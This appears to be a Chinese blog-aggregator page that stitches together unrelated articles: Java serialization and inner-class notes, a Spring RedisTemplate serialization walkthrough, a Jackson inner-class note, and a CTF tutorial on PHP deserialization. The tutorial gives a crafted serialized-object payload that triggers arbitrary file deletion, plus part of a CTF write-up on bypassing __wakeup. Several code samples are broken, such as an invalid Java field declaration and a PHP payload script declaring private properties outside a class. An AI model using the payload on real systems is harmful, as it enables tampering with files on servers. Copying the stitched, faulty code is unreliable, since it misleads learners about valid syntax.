精华内容
下载资源
问答
  • 如题,在一个静态方法中写一个匿名内部类可以序列化,但是在非静态方法中却不行,为什么? 编译后的Class文件中后者的构造方法中有一个对外部引用的参数但是前者却没有,会是这个原因吗?
  • 1-5 反序列化-内部类-待定其他知识1-序列化1-1一些资料2-内部类2-1静态内部类和非静态内部类2-1-1区别2-1-2静态内部类2-1-3成员内部类2-1-4方法内部类2-2匿名类 这里是easy的java基础面试 下面是总的阅览: java基础 ...

    上一篇:
    1-4 异常-接口和抽象类-socket通信原理-Runtime类-泛型-字节流和字符流

    这里是easy的java基础面试
    下面是总的阅览:

    java基础
    java集合
    JVM
    多线程
    mysql_数据库
    计算机网络
    nosql_redis
    设计模式
    操作系统
    消息中间件activeMq
    SSM框架面试题
    服务中间件Dubbo

    目录

    1-序列化

    1-1一些资料

    序列化1
    序列化2
    序列化3

    序列化是将对象编码成字节流以及从字节流中重新构建对象的操作。

    序列化实现原理: 
    

    serializable 该接口没用方法,只是一种标记,序列化传输时使用默认writeObject 和readObject,并通过反射调用ObjectInputStream和 ObjectOutputStream,如果没有设置serializable标识,则报错。

    序列化4

    2-内部类

    如果你不需要内部类对象与其外围类对象之间有联系,那你可以将内部类声明为 static。这通常称为嵌套类(nested class)。
    Static Nested Class 是被声明为静态(static)的内部类,它可以不依赖
    于外部类实例被实例化。而通常的内部类需要在外部类实例化后才能实例化。想要理解 static 应用于内部类时的含义,你就必须记住,
    普通的内部类对象隐含地保存了一个引用,指向创建它的外围类对
    象。然而,当内部类是 static 的时,就不是这样了。

    嵌套类意味着:1. 嵌套类的对象,并不需要其外围类的对象。
    2. 不能从嵌套类的对象中访问非静态的外围类对象。

    如下所示代码为定义一个静态嵌套类
    public class StaticTest{
    	private static String name = "woobo";
    	private String num = "X001";
    	static class Person{ // 静态内部类可以用 public,protected,private 修饰
    		// 静态内部类中可以定义静态或者非静态的成员
    		private String address = "China";
    		Private Static String x=as;
    		public String mail = "kongbowoo@yahoo.com.cn";//内部类公有成员
    		public void display(){
    			//System.out.println(num);//不能直接访问外部类的非静态成员
    			// 静态内部类不能访问外部类的非静态成员(包括非静态变量和非静态方法)
    			System.out.println(name);//只能直接访问外部类的静态成员
    			//静态内部类只能访问外部类的静态成员(包括静态变量和静态方法)
    			System.out.println("Inner " + address);//访问本内部类成员。
    		}
    	}
    	
    	public void printInfo(){
    		Person person = new Person();
    		// 外部类访问内部类的非静态成员:实例化内部类即可
    		person.display();
    		//System.out.println(mail);//不可访问
    		//System.out.println(address);//不可访问
    		System.out.println(person.address);//可以访问内部类的私有成员
    		System.out.println(Person.x);// 外部类访问内部类的静态成员:内部类.静态成员
    		System.out.println(person.mail);//可以访问内部类的公有成员
    	}
    	public static void main(String[] args){
    		StaticTest staticTest = new StaticTest();
    		staticTest.printInfo();
    	}
    }
    
    

    在静态嵌套类内部, 不能访问外部类的非静态成员, 这是由 Java 语法中"静态方法不能直接访问非静态成员"所限定.注意, 外部类访问内部类的的成员有些特别, 不能直接访问, 但可以通过内部类实例来访问, 这是因为静态嵌套内的所有成员和方法默认为静态的了.同时注意,
    内部静态类 Person 只在类 StaticTest 范围内可见, 若在其它类中引用或初始化, 均是错误的.

    2-1静态内部类和非静态内部类

    在这里插入图片描述

    2-1-1区别

    静态内部类可以有静态成员,而非静态内部类无静态成员

    静态内部类的非静态成员可以访问外部类的静态变量,而不可以访问外类的非静态成员

    非静态内部类的非静态成员,可以访问外类的非静态成员变量(不论是private 还是成员方法。)

    Outer.Inner in = new Outer().Inner() Inner是静态内部类, -----> 成了一个顶级类

    2-1-2静态内部类

    package com.xlg.InnerClassAll.静态内部类;
    
    /**
     * @program: designpattern
     * @description: 外部类
     * @author: Mr.Wang
     * @create: 2020-09-22 14:28
     **/
    public class Outer {
    
        private int outerVariable = 1;
    
        private int commonVariable  = 2;
    
        private static int outerStaticVariable = 3;
    
        static  {
            System.out.println("outer 的静态块被执行了......");
        }
    
        /**
         *  成员方法
         */
        public void outerMethod() {
            System.out.println("我是外部类的outerMethod方法。。");
        }
        public static void outerStaticMethod() {
            System.out.println("我是外部类的outerStaticMethod方法..");
        }
    	
    	// 静态内部类 
        public static class Inner {
            private int innerVariable = 10;
            private int commonVariable = 20;
    
            static {
                System.out.println("Outer.inner的 静态块执行了");
            }
            private static int innerStaticVariable = 30;
    
            // 内部类的成员方法
            public void innerShow() {
                System.out.println("innerVariable : "  + innerVariable);
                System.out.println("内部的 commonVariable : " + commonVariable);
                System.out.println("outerStaticVariable : " + outerStaticVariable);
                outerStaticMethod();
            }
    
            // 静态方法
            public static void innerStaticShow() {
                // 被调用时会先加载Outer类
                outerStaticMethod();
                System.out.println("outerStaticVariable :" + outerStaticVariable);
            }
        }
    
        // 外部类的内部如何和内部类打交道
        public static void callInner() {
            System.out.println(Inner.innerStaticVariable);
            Inner.innerStaticShow();
        }
    }
    
    package com.xlg.InnerClassAll.静态内部类;
    
    /**
     * @program: designpattern
     * @description: 其他类使用静态内部类
     * @author: Mr.Wang
     * @create: 2020-09-22 14:38
     **/
    public class Other {
    
        public static void main(String[] args) {
            // 访问静态内部类的时候,Inner类被加载, 此时外部类未被加载。独立存在,不依赖于外部lei
            Outer.Inner.innerStaticShow();
            // 访问静态内部类的成员方法
            Outer.Inner inner = new Outer.Inner();
            inner.innerShow();
        }
    }
    
    
    执行结果: 
    
    Outer.inner的 静态块执行了
    outer 的静态块被执行了......
    我是外部类的outerStaticMethod方法..
    outerStaticVariable :3
    innerVariable : 10
    内部的 commonVariable : 20
    outerStaticVariable : 3
    我是外部类的outerStaticMethod方法..
    
    

    2-1-3成员内部类

    package com.xlg.InnerClassAll.成员内部类;
    
    /**
     * @program: designpattern
     * @description: 外部类 成员内部类的定义
     * @author: Mr.Wang
     * @create: 2020-09-22 10:58
     **/
    public class Outer {
    
        private int outerVariable = 1;
        private int commonVariable = 2;
    
        private static int outerStaticVariable = 3;
    
        /**
         * @author Mr.wang        外部类普通方法
         * @date 2020/9/22 11:00
         * @param []
         * @return void
         */
        public void outerMethod() {
            System.out.println("我是 外部类的 outerMethod 普通方法");
        }
    
        public static void outerStaticMethod() {
            System.out.println("我是 外部类的outerStaticMethod的静态方法 ");
        }
        
        /**
         * 内部类
         */
        public class Inner {
            private int commonVariable = 20;
    
            public Inner() {
    
            }
            
            /**
             * 成员方法, 访问外部类信息(属性 ,,方法)
             */
            public void innerShow() {
                //  当和外部类冲突时, 直接引用属性名, 是内部类的成员属性
                System.out.println("内部类的commonVariable: " + commonVariable);
                // 内部类访问 外部属性
                System.out.println("outerVariable : " + outerVariable);
                // 当和外部类属性名重叠时, 可通过外部类名.this.属性名 访问
                System.out.println("外部类的commonVariable: " + Outer.this.commonVariable);
                System.out.println("outerStaticVariable: " + outerStaticVariable);
                // 访问外部类的方法
                outerMethod();
                outerStaticMethod();
            }
        }
    
        /**
         *  外部类访问内部类信息
         */
        public void outerShow(){
            Inner inner = new Inner();
            inner.innerShow();
        }
    }
    
    
    package com.xlg.InnerClassAll.成员内部类;
    /**
     * @program: designpattern
     * @description: 其他类使用成员内部类
     * @author: Mr.Wang
     * @create: 2020-09-22 11:08
     **/
    public class Other {
        public static void main(String[] args) {
            // 外部类对象
            Outer outer = new Outer();
            // 创建内部类
            Outer.Inner inner =  outer.new Inner();
            inner.innerShow();
    
            outer.outerShow();
            // 或者
            Outer.Inner kk = new Outer().new Inner();
        }
    }
    
    
    执行结果: 
    
    内部类的commonVariable: 20
    outerVariable : 1
    外部类的commonVariable: 2
    outerStaticVariable: 3
    我是 外部类的 outerMethod 普通方法
    我是 外部类的outerStaticMethod的静态方法 
    内部类的commonVariable: 20
    outerVariable : 1
    外部类的commonVariable: 2
    outerStaticVariable: 3
    我是 外部类的 outerMethod 普通方法
    我是 外部类的outerStaticMethod的静态方法 
    
    

    2-1-4方法内部类

    package com.xlg.InnerClassAll.方法内部类;
    
    import java.awt.image.PackedColorModel;
    
    /**
     * @program: designpattern
     * @description: 方法外部类
     * @author: Mr.Wang
     * @create: 2020-09-22 15:05
     **/
    public class Outer {
    
        private int outerVariable = 1;
        private int commonVariable  = 2;
        private static int outerStaticVariable = 3;
    
        public void outerMethod() {
            System.out.println("我是 外部类的outerMethod方法 ");
        }
    
        public static void outerStaticMethod() {
            System.out.println("我是 外部类的outerStaticMethod方法 ");
        }
    
        /**
         *   程序的入口
         * @param args
         */
        public static void main(String[] args) {
            Outer outer = new Outer();
            outer.outerCreateMethod(100);
        }
    
        /**
         *  成员方法
         * @param value
         */
        public void outerCreateMethod(int value) {
            // 女性
            boolean sex = false;
            
            // 方法内部类 
            class Inner {
                private int innerVariable = 10;
                private int commonVariable = 20;
    
                /**
                 *   局部类方法
                 */
                public void innerShow() {
    
                    System.out.println("innerVariable : " + innerVariable);
                    // 方法的变量
                    System.out.println("是否男性: "  + sex);
                    // sex = true  报错
                    System.out.println("参数value : " + value);
                    // 调用外部类的 信息
                    System.out.println("outerVariable : "+ outerVariable);
                    System.out.println("方法内部类的 commonVariable :" + commonVariable);
                    System.out.println("外部类的 commonVariable : " + Outer.this.commonVariable);
                    System.out.println("outerStaticVariable : " + outerStaticVariable);
                    outerMethod();
                    outerStaticMethod();
                }
            }
            // 局部类 只能在方法类使用
            Inner inner = new Inner();
            inner.innerShow();
        }
    }
    
    
    结果显示: 
    
    innerVariable : 10
    是否男性: false
    参数value : 100
    outerVariable : 1
    方法内部类的 commonVariable :20
    外部类的 commonVariable : 2
    outerStaticVariable : 3
    我是 外部类的outerMethod方法 
    我是 外部类的outerStaticMethod方法 
    
    

    2-2匿名类

    几点说明: 
    

    匿名内部类是因为没有类名,可知道 匿名内部类不能定义构造器

    因为在创建匿名内部类时,会立即创建它的实例,可知匿名内部类不能是抽象类,必须实现接口或抽象父类的所有抽象方法

    匿名内部类会继承一个父类(只有一个) 或实现一个接口(只有一个),实现父类/接口中的抽象方法,/ 添加自定义方法。

    当匿名内部类和外类同名变量时,默认访问的是匿名内部类的变量(方法),要访问外部类的static变量或者static方法,则需要加外类类名

    package com.xlg.InnerClassAll.匿名内部类;
    
    /**
     * @program: designpattern
     * @description: 接口 中方法默认为 public
     * @author: Mr.Wang
     * @create: 2020-09-22 15:33
     **/
    public interface IAnimal {
        void speak();
    }
    
    package com.xlg.InnerClassAll.匿名内部类;
    
    /**
     * @program: designpattern
     * @description: 外部内,内部类
     * @author: Mr.Wang
     * @create: 2020-09-22 15:35
     **/
    public class Outer {
    
        public static IAnimal getInnerInstance(String speak) {
            return new IAnimal() {
                @Override
                public void speak() {
                    System.out.println(speak);
                }
            };
        }
    
        public static void main(String[] args) {
            // 实际山就是 一个冲写了方法的对象调用
            Outer.getInnerInstance("小狗汪汪汪!").speak();
        }
    }
    小狗汪汪汪!
    

    下一篇:
    2-1 集合

    展开全文
  • 1.序列化与反序列化 1、序列化和反序列化简介: 序列化就是指把对象转换为字节码; 对象传递和保存时,保证对象的完整性和可传递性。把对象转换为有字节码,以便在网络上传输或保存在本地文件中; 反序列化就是...

    1.序列化与反序列化

    1、序列化和反序列化简介:

    • 序列化就是指把对象转换为字节码;
      • 对象传递和保存时,保证对象的完整性和可传递性。把对象转换为有字节码,以便在网络上传输或保存在本地文件中;
    • 反序列化就是指把字节码恢复为对象;
      • 根据字节流中保存的对象状态及描述信息,通过反序列化重建对象;

    2.redis序列化与反序列化

    • redis底层以二进制/字符串形式存储内容;
    • 序列化
      • 把java对象转换为二进制/字符串,然后存储到内存中;
    • 反序列化
      • 读取内存中的二进制/字符串,然后转换为java对象;

    3.RedisTemplate序列化与反序列化

    • 序列化的相关属性
    //**是否初始化,需调用afterPropertiesSet进行初始化,执行redis命令时会判断是否已经初始化
    private boolean initialized = false;
    
    //**启用默认的序列化
    private boolean enableDefaultSerializer = true;
    //**默认的序列化器
    private @Nullable RedisSerializer<?> defaultSerializer;
    
    //**key序列化器
    @SuppressWarnings("rawtypes") private @Nullable RedisSerializer keySerializer = null;
    //**value序列化器
    @SuppressWarnings("rawtypes") private @Nullable RedisSerializer valueSerializer = null;
    //**hash key序列化器,在hash类型的hash key和stream类型field中使用
    @SuppressWarnings("rawtypes") private @Nullable RedisSerializer hashKeySerializer = null;
    //**hash value序列化器,在hash类型value和stream类型value中使用
    @SuppressWarnings("rawtypes") private @Nullable RedisSerializer hashValueSerializer = null;
    //**字符串序列化器,在redis发布订单模式发布消息时,序列化channel
    private RedisSerializer<String> stringSerializer = RedisSerializer.string();
    
    //**操作string类型
    private final ValueOperations<K, V> valueOps = new DefaultValueOperations<>(this);
    //**操作list类型
    private final ListOperations<K, V> listOps = new DefaultListOperations<>(this);
    //**操作set类型
    private final SetOperations<K, V> setOps = new DefaultSetOperations<>(this);
    //**操作stream流类型
    private final StreamOperations<K, ?, ?> streamOps = new DefaultStreamOperations<>(this, new ObjectHashMapper());
    //**操作zset类型
    private final ZSetOperations<K, V> zSetOps = new DefaultZSetOperations<>(this);
    //**操作geo地理位置类型
    private final GeoOperations<K, V> geoOps = new DefaultGeoOperations<>(this);
    //**操作hyperLogLog类型
    private final HyperLogLogOperations<K, V> hllOps = new DefaultHyperLogLogOperations<>(this);
    //**操作cluster集群
    private final ClusterOperations<K, V> clusterOps = new DefaultClusterOperations<>(this);
    
    @Override
    public <T> T execute(SessionCallback<T> session) {
        //**执行redis命令时会判断是否已经初始化,需调用afterPropertiesSet进行初始化
    	Assert.isTrue(initialized, "template not initialized; call afterPropertiesSet() before using it");
    	...
    }
    
    • afterPropertiesSet初始化序列化属性
    @Override
    public void afterPropertiesSet() {
        //**调用父类的afterPropertiesSet方法,判断是否初始化redis连接工厂
    	super.afterPropertiesSet();
    
    	boolean defaultUsed = false;
        //**如果没的设置默认的序列化器,则使用jdk序列化器为默认的序列化器,可调用setDefaultSerializer设置默认的序列化器
    	if (defaultSerializer == null) {
    
    		defaultSerializer = new JdkSerializationRedisSerializer(
    				classLoader != null ? classLoader : this.getClass().getClassLoader());
    	}
    
    	if (enableDefaultSerializer) {
            //**如果启用默认的序列化,且没有设置key序列化器,则使用默认的序列化器为key的序列化器
    		if (keySerializer == null) {
    			keySerializer = defaultSerializer;
    			defaultUsed = true;
    		}
    		//**如果启用默认的序列化,且没有设置value序列化器,则使用默认的序列化器为value的序列化器
    		if (valueSerializer == null) {
    			valueSerializer = defaultSerializer;
    			defaultUsed = true;
    		}
    		//**如果启用默认的序列化,且没有设置key序列化器,则使用默认的序列化器为hash key的序列化器
    		if (hashKeySerializer == null) {
    			hashKeySerializer = defaultSerializer;
    			defaultUsed = true;
    		}
    		//**如果启用默认的序列化,且没有设置value序列化器,则使用默认的序列化器为hash value的序列化器
    		if (hashValueSerializer == null) {
    			hashValueSerializer = defaultSerializer;
    			defaultUsed = true;
    		}
    	}
    
        //**启用默认的序列化,则默认的序列化器不能不空
    	if (enableDefaultSerializer && defaultUsed) {
    		Assert.notNull(defaultSerializer, "default serializer null and not all serializers initialized");
    	}
    
        //**如果没有设置redis脚本执行器,则设置redis脚本执行器为DefaultScriptExecutor
    	if (scriptExecutor == null) {
    		this.scriptExecutor = new DefaultScriptExecutor<>(this);
    	}
    
        //**设置已初始化
    	initialized = true;
    }
    
    //**设置默认的序列化器
    public void setDefaultSerializer(RedisSerializer<?> serializer) {
    	this.defaultSerializer = serializer;
    }
    
    • 使用
      • 执行写入,先调用对应的序列化器,把key/value序列化为二进制码,然后在保存到redis中
      • 执行读取,先根据key获取value的二进制码,然后调用value序列化器反序化为java对象
    • string类型的序列化和反序列化
      • 首先调用DefaultValueOperations的set/get方法保存/获取键值对
      //**保存
      @Override
      public void set(K key, V value) {
          //**使用value序列化器把value转换成二进制码
      	byte[] rawValue = rawValue(value);
      	//**创建匿名内部类实现ValueDeserializingRedisCallback,然后调用redistemplate的execute方法
      	execute(new ValueDeserializingRedisCallback(key) {
              
              //**把序列化后的key和value的二进制码保存到redis中
      		@Override
      		protected byte[] inRedis(byte[] rawKey, RedisConnection connection) {
      			connection.set(rawKey, rawValue);
      			return null;
      		}
      	}, true);
      }
      
      //**获取
      @Override
      public V get(Object key) {
          //**创建匿名内部类实现ValueDeserializingRedisCallback,然后调用redistemplate的execute方法
      	return execute(new ValueDeserializingRedisCallback(key) {
      
              //**把根据序列化后的key获和value的二进制码
      		@Override
      		protected byte[] inRedis(byte[] rawKey, RedisConnection connection) {
      			return connection.get(rawKey);
      		}
      	}, true);
      }
      
      //**使用key序列化器把key转换成二进制码
      @SuppressWarnings("unchecked")
      private byte[] rawKey(Object key) {
      	Assert.notNull(key, "non null key required");
      	if (keySerializer == null && key instanceof byte[]) {
      		return (byte[]) key;
      	}
      	return keySerializer.serialize(key);
      }
      
      //**使用value序列化器把value转换成二进制码
      @SuppressWarnings("unchecked")
      private byte[] rawValue(Object value) {
      	if (valueSerializer == null && value instanceof byte[]) {
      		return (byte[]) value;
      	}
      	return valueSerializer.serialize(value);
      }
      
      • Redistemplate的execute方法调用ValueDeserializingRedisCallback的doInRedis方法
      @Nullable
      public <T> T execute(RedisCallback<T> action, boolean exposeConnection, boolean pipeline) {
          ...
              //**调用ValueDeserializingRedisCallback的doInRedis方法,返回执行的结果
      		T result = action.doInRedis(connToExpose);
          ...
      }
      
      • ValueDeserializingRedisCallback.doInRedis方法调用inRedis方法
      public final V doInRedis(RedisConnection connection) {
          //**调用inRedis方法,把序列化后的key和value的二进制码保存到redis中(set方法会返回null)
      	byte[] result = inRedis(rawKey(key), connection);
      	//**使用value序列化器把二进制的value反序列化为java对象
      	return deserializeValue(result);
      }
      
      //**使用value序列化器把二进制的value反序列化为java对象
      @SuppressWarnings("unchecked")
      V deserializeValue(byte[] value) {
      	if (valueSerializer() == null) {
      		return (V) value;
      	}
      	return (V) valueSerializer().deserialize(value);
      }
      
    • hash类型的序列化和反序列化
      • Redistemplate没有为hash类型设置一个成员属性
      @Override
      public <HK, HV> HashOperations<K, HK, HV> opsForHash() {
      	return new DefaultHashOperations<>(this);
      }
      
      • 首先调用DefaultHashOperations的put/get方法保存/获取键值对
      //**获取
      @Override
      @SuppressWarnings("unchecked")
      public HV get(K key, Object hashKey) {
          //**使用key序列化器把key转换成二进制码
      	byte[] rawKey = rawKey(key);
      	//**使用hash key序列化器把hashKey转换成二进制码
      	byte[] rawHashKey = rawHashKey(hashKey);
      	//**lambda表达式实现RedisCallback接口,然后调用redistemplate的execute方法,根据key和hashKey获取value的二进制码
      	byte[] rawHashValue = execute(connection -> connection.hGet(rawKey, rawHashKey), true);
          
          //**使用hash value序列化器把二进制码的value反序列化为java对象
      	return (HV) rawHashValue != null ? deserializeHashValue(rawHashValue) : null;
      }
      
      //**保存
      @Override
      public void put(K key, HK hashKey, HV value) {
          //**使用key序列化器把key转换成二进制码
      	byte[] rawKey = rawKey(key);
      	//**使用hash key序列化器把hashKey转换成二进制码
      	byte[] rawHashKey = rawHashKey(hashKey);
      	//**使用hash value序列化器把value转换成二进制码
      	byte[] rawHashValue = rawHashValue(value);
      
          //**lambda表达式实现RedisCallback接口,然后调用redistemplate的execute方法,把序列化后的key、hashKey和value的二进制码保存到redis中
      	execute(connection -> {
      		connection.hSet(rawKey, rawHashKey, rawHashValue);
      		return null;
      	}, true);
      }
      
      //**使用hash key序列化器把hashKey转换成二进制码
      @SuppressWarnings("unchecked")
      <HK> byte[] rawHashKey(HK hashKey) {
      	Assert.notNull(hashKey, "non null hash key required");
      	if (hashKeySerializer() == null && hashKey instanceof byte[]) {
      		return (byte[]) hashKey;
      	}
      	return hashKeySerializer().serialize(hashKey);
      }
      
      //**使用hash value序列化器把value转换成二进制码
      @SuppressWarnings("unchecked")
      <HV> byte[] rawHashValue(HV value) {
      
      	if (hashValueSerializer() == null && value instanceof byte[]) {
      		return (byte[]) value;
      	}
      	return hashValueSerializer().serialize(value);
      }
      
      //**使用hash value序列化器把二进制码的value反序列化为java对象
      @SuppressWarnings("unchecked")
      <HV> HV deserializeHashValue(byte[] value) {
      	if (hashValueSerializer() == null) {
      		return (HV) value;
      	}
      	return (HV) hashValueSerializer().deserialize(value);
      }
      
      • Redistemplate的execute方法调用的RedisCallback接口doInRedis方法
    展开全文
  • Jackson反序列化问题

    千次阅读 2015-06-23 16:48:07
    JackSon和内部类,是的,你可以使用,但他们必须是静态的内部类。 这是我直到今天没有意识到的东西:这显然是正确使用内部类在Java开发者社区的巨大的困惑。事实上有一些网页显示 JackSon不能使用内部类值。 ...

    本文翻译于一片国外文章,原文链接如下:

    JackSon和内部类,是的,你可以使用,但他们必须是静态的内部类。


    这是我直到今天没有意识到的东西:这显然是正确使用内部类在Java开发者社区的巨大的困惑。事实上有一些网页显示

    JackSon不能使用内部类值。

    这实际上是真实的和虚假的,原因就在于Java的内部类的特点。早在Java 1.1的时候就引入了内部类(为了使AWT以及后

    来的Swing更容易使用),但不是每个人都懂得如何适当地使用内部类。

    1.长话短说

    你可以这样使用静态内部类:
    public class Outer {
        static class Inner {
            public int getX() { return 5;
        }
    }    
    值没有任何问题。只要确保“静”在那里。

    如果你的内部类不是静态的,那么所得到的类通常是JackSon以及任何其他数据绑定框架无用(Hibernate,JAXB)不可以

    使用的;通常可以被序列化,但不可以反序列化。要理解为什么,需要我们回到过去,90年代末…第一批语法糖加入Java



    2.匿名的,静态的,非静态内部类

    一共有三种内部类形式: 匿名内部类是在一条语句中使用的 (如事件处理函数); 静态内部类是用static修饰符修饰的类

    ; 普通内部类类似静态内部类,区别在于没有static修饰.

    这里最重要的区别在于有么有static修饰. 修饰符选择不是很直观的, 它真正的意思是:非静态内部类(包括匿名内部类

    )被编译器通过隐藏的构造器传递了一组隐藏变量.直接结果就是, 无默认构造函数 -- 即使代码里面确实有一个无参的

    构造函数可以使用。

    所以,如果你的代码是这样写的:

      public class Outer {
       class Inner { // non-static
         public int getX() { return 3; }
       }
      }

    实际上编译器会这样生成:

    public class Outer { ... }

    class Outer$Inner {
      private final Outer parent;

      Outer$Inner(Outer p) {
        parent = p;
      }
      public int getX() { return 3; }
    }

    (同样的,内部类可以访问外部类的所有代码)

    为什么会这样? 因为这样内部类内部就可以访问外部类的所有代码,包括私有代码;在匿名的情况下(内置)内部类,

    甚至看似范围内的变量(这只是雾里看花 - 最后变量作为传递只是更隐蔽构造函数的参数)。

    静态内部类只是普通的类,无任何隐藏内容。实际上它跟二级类(含有公开类的文件中声明的非公开类,使用封闭的命名

    空间)除名字以外并无本质区别。

    3。所以关于JackSon,内部类…?

    JackSon拒绝尝试使用非静态内部类的基本原因(序列化是可以正常工作的)是因为这样的类没有实例化的一般方法,没

    有零参数的构造函数,也没有@jsoncreator注释其他构造函数或工厂方法(或单个字符串参数的构造函数),所以

    JackSon不能实例化它们。

    在理论上可以如果得知所包围的父类实例是什么,那么就可以处理这种情况。但实际上这是复杂的和不必要的——典型的

    static缺失是意外或者疏忽,通过增加给内部类增加static就可以让代码很好的工作。

    展开全文
  • CTF中的PHP反序列化ALL IN ONE

    万次阅读 2020-09-01 22:34:38
    1.反序列化的基础知识 什么是序列化,反序列化,php反序列化,序列化字符串知识,漏洞产生原因,修复方法 php反序列化漏洞,又叫php对象注入漏洞,是ctf中常见的漏洞。 PHP基础知识 PHP与对象...
     
    

    CTF中的PHP反序列化

    1.反序列化的基础知识

    什么是序列化,反序列化,php反序列化,序列化字符串知识,漏洞产生原因,修复方法

    php反序列化漏洞,又叫php对象注入漏洞,是ctf中常见的漏洞。

    PHP基础知识

    PHP类与对象(https://www.php.net/manual/zh/language.oop5.php

    PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php

    序列化定义

    php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。将php中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中,而反序列化就是将这个过程倒过来。

    php序列化的函数为serialize。反序列化的函数为unserialize。

    序列化serialize()

    当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;

    <?php
    class Test{
    public$a = 'ThisA';
    protected$b = 'ThisB';
    private$c = 'ThisC';
    publicfunction test1(){
    return'this is test1 ';
    }
    }
    $test = new Test();
    var_dump(serialize($test));
    ?>
    

    运行结果:

    图片

    解释一下:

    O代表是对象;:4表示改对象名称有4个字符;:”Test”表示改对象的名称;:3表示改对象里有3个成员。除了O代表对象之外a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串接着是括号里面的。我们这个类的三个成员变量由于变量前的修饰不同,在序列化出来后显示的也不同。

    第一个变量a序列化后为 s:1:”a”;s:5:”ThisA”;由于变量是有变量名和值的。所以序列化需要把这两个都进行转换。序列化后的字符串以分号分割每一个变量的特性。

    这个要根据分号来分开看,分号左边的是变量名,分号右边的是变量的值。

    先看左边的。其实都是同理的。s表示是字符串,1表示该字符串中只有一个字符,”a”表示该字符串为a。右边的同理可得。

    第二个变量和第一个变量有所不同,多了个乱码和 号。这是因为第一个变量a是public属性,而第二个变量b是protected属性,php为了区别这些属性所以进行了一些修饰。这个乱码查了下资料,其实是 %00(url编码,hex也就是0x00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个%00%00

    第三个变量的属性是private。表示方式是在变量名前加上%00类名%00

    可以看到虽然Test类中有test1这个方法,但是序列化后的字符串中并没有包含这个方法的信息。所以序列化不保存方法。

    反序列化unserialize()

    <?php
    class Test{
    public$a = 'ThisA';
    protected$b = 'ThisB';
    private$c = 'ThisC';
    publicfunction test1(){
    return'this is test1 ';
    }
    }
    $test = new Test();
    $sTest = serialize($test);
    $usTest = unserialize($sTest);
    var_dump($usTest);
    ?>
    

    运行结果:

    图片

    可以看到类的成员变量被还原了,但是类方法没有被还原,因为序列化的时候就没保存方法。

    魔术方法

    大概了解了php序列化和序列化的过程,那么就来介绍一下相关的魔术方法。

    __construct 当一个对象创建时被调用
    __destruct 当一个对象销毁时被调用
    __toString 当一个对象被当作一个字符串使用
    __sleep 在对象被序列化之前运行
    __wakeup 在对象被反序列化之后被调用
    __invoke() :对象当作函数调用时被调用
    __call 调用不存在的方法时
    还有很多特殊不常见的方法

    通过一个例子来说明序列化的过程

    <?php
    classTest{
    public function __construct(){
    echo 'construct run';
    }
    public function __destruct(){
    echo 'destruct run';
    }
    public function __toString(){
    echo 'toString run';
    }
    public function __sleep(){
    echo 'sleep run';
    }
    public function __wakeup(){
    echo 'wakeup run';
    }
    }
    /**/
    echo'new了一个对象,对象被创建,执行__construct</br>';
    $test= new Test();
    /**/
    echo'</br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
    $sTest= serialize($test);
    /**/
    echo'</br>unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup</br>';
    $usTest= unserialize($sTest);
    /**/
    echo'</br>把Test这个对象当做字符串使用了,执行__toString</br>';
    $string= 'hello class ' . $test;
    /**/
    echo'</br>程序运行完毕,对象自动销毁,执行__destruct</br>';
    ?>
    

    输出:

    图片

    可以看到有一个警告一个报错,是因为__sleep函数期望能return一个数组,而__toString函数则必须返回一个字符串。由于我们都是echo的没有写return,所以引发了这些报错,那么我们就按照报错的来,要什么加什么。

    图片

    输出:

    图片

    现在只需要明白这5个魔法函数的执行顺序即可

    反序列化漏洞

    由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个"精心”构造的序列化字符串,从而控制对象内部的变量甚至是函数。

    <?php
    class Example1
    {
    public $cache_file;
    public $condition;
    function __construct()
    {
    // some PHP code
    }
    function __destruct()
    {   if($this->condition==='balabala')
    {
    $this->Delete($this->cache_file);
    }
    }
    function Delete($filename)
    {
    $file = "{$filename}";
    echo $file;
    echo 'delete';
    if (file_exists($file))
    {
    unlink($file);
    echo 'ok';
    }
    }
    }
    $user_data = unserialize($_GET['data']);
    ?>
    

    这是一个简单的php反序列化的例子,可以看出通过赋值对应的值,控制cache_file和condition变量,就可以实现任意文件删除.在反序列化后也就执行unserialize函数之后,会自动调用析构函数destruct()

    <?php
    class Example1
    {
    public $cache_file='1.txt';
    public $condition='balabala';
    }
    $a=new Example1();
    echo serialize($a);
    ?>
    

    payload:

    O:8:"Example1":2:{s:10:"cache_file";s:5:"1.txt";s:9:"condition";s:8:"balabala";}
    

    2.简单反序列化漏洞

    绕过__wakeup

    __wakeupunserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

    以一个例题来说明__wakeup()的绕过方式

    极客大挑战[2019]PHP

    打开题目的实例

    图片

    查看源码发现一句话,什么可爱备份了,猜测是备份文件泄露,于是,试试 bak 后缀,无用

    直接上 dirsearch 扫了一圈,找到 www.zip 备份文件,在 index.php 中发现

    图片

    继续查看发现 flag.php 结果一个假 flag 而已

    发现 class.php,确定这题就是反序列化漏洞无疑

    <?php
    include 'flag.php';
    error_reporting(0);
    class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
    $this->username = $username;
    $this->password = $password;
    }
    function __wakeup(){
    $this->username = 'guest';
    }
    function __destruct(){
    if ($this->password != 100) {
    echo "</br>NO!!!hacker!!!</br>";
    echo "You name is: ";
    echo $this->username;echo "</br>";
    echo "You password is: ";
    echo $this->password;echo "</br>";
    die();
    }
    if ($this->username === 'admin') {
    global $flag;
    echo $flag;
    }else{
    echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
    die();
    }
    }
    }
    ?>
    

    于是,去构造 payload,阅读源码发现需要时 username=admin,password=100,还需要绕过__wakeup 析构函数

    <?php
    private $username = 'admin';
    private $password = '100';
    $a = new Name('admin', 100);
    var_dump(serialize($a));
    ?>
    

